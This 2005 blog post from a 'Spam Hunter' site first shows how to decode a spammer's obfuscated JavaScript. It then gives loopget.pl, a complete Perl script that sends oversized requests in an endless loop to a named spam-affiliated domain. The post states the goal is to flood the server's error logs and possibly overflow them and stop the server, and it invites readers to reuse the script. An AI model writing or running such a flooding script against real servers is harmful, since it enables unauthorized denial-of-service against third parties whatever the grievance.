Spam Hunter

Viagra, penis enhancements, porn, mortgage rates, and much more are shoved into my inbox everyday. I'm not trying to win the spam war. I just like to vent by choosing one email a day, tracing down the jerk who sent it and publishing any antics that ensue.

Wednesday, February 23, 2005

BlingCash alias (http://goodangerlamb.com/wxv.php)

Some may be fooled by the use of javascript encryption but the methods to defeat it and "unlock" what's inside are fairly trivial. In one of my earlier blogs I mention searching out "document.write" and then replacing it with "alert". This will just output the HTML into a harmless alert box that you can decipher on your own. Copying isn't possible though and this became sort of a pain. So I brushed off my ancient javascript foo and came up with this method which I find a little better. First wrap the <script> in a <form> and then create a textarea. instead of using "alert" use "formName.textArea.value=" which will fill in the text area for you. I will demonstrate this using the example below from BlingCash.



Much easier to deal with in this way. I've been toying around in perl with different types of "annoying" things to do. The first is to fill in values for parameters with the max data (around 32K I think). You'll know you've gone way too far when you get a 414 error which suggests the max URI size has been exceeded.
It is preferable to see that message and then back off a little to you get a 302 or some other error. The idea is that while running in a loop the entire thing is logged into the web servers error logs. Eventually this will make the logs
1) uselessly cluttered with errors
2) possibly overflow and stop the server

I normally use this as filler
my $message="STOP SPAMMING STOP SPAMMING STOP SPAMMING STOP SPAMMING" x 100;

So the following is my loopget.pl script which politely asks the spammer to stop spamming me

#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;


#copyright 2005 spamhunter
#but uh feel free to use this for your own spam hunting adventures.
#no really it's ok

my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/8.0");
my $message="STOP SPAMMING STOP SPAMMING STOP SPAMMING STOP SPAMMING" x 100;

my $baseURL='http://www.blingcash.com/hit.php?w=' . $message;

sub sendRequest
{
my $target=shift;
my $url=$target;
my $req = HTTP::Request->new(GET => "$url");
$req->header('Accept' => 'text/html'); # send request
my $res = $ua->request($req); # check the outcome
if ($res->is_success)
{
return $res->content;
}
else
{
return "Error: " . $res->status_line . "\n";
}
}

while (1)
{
print sendRequest($baseURL);
}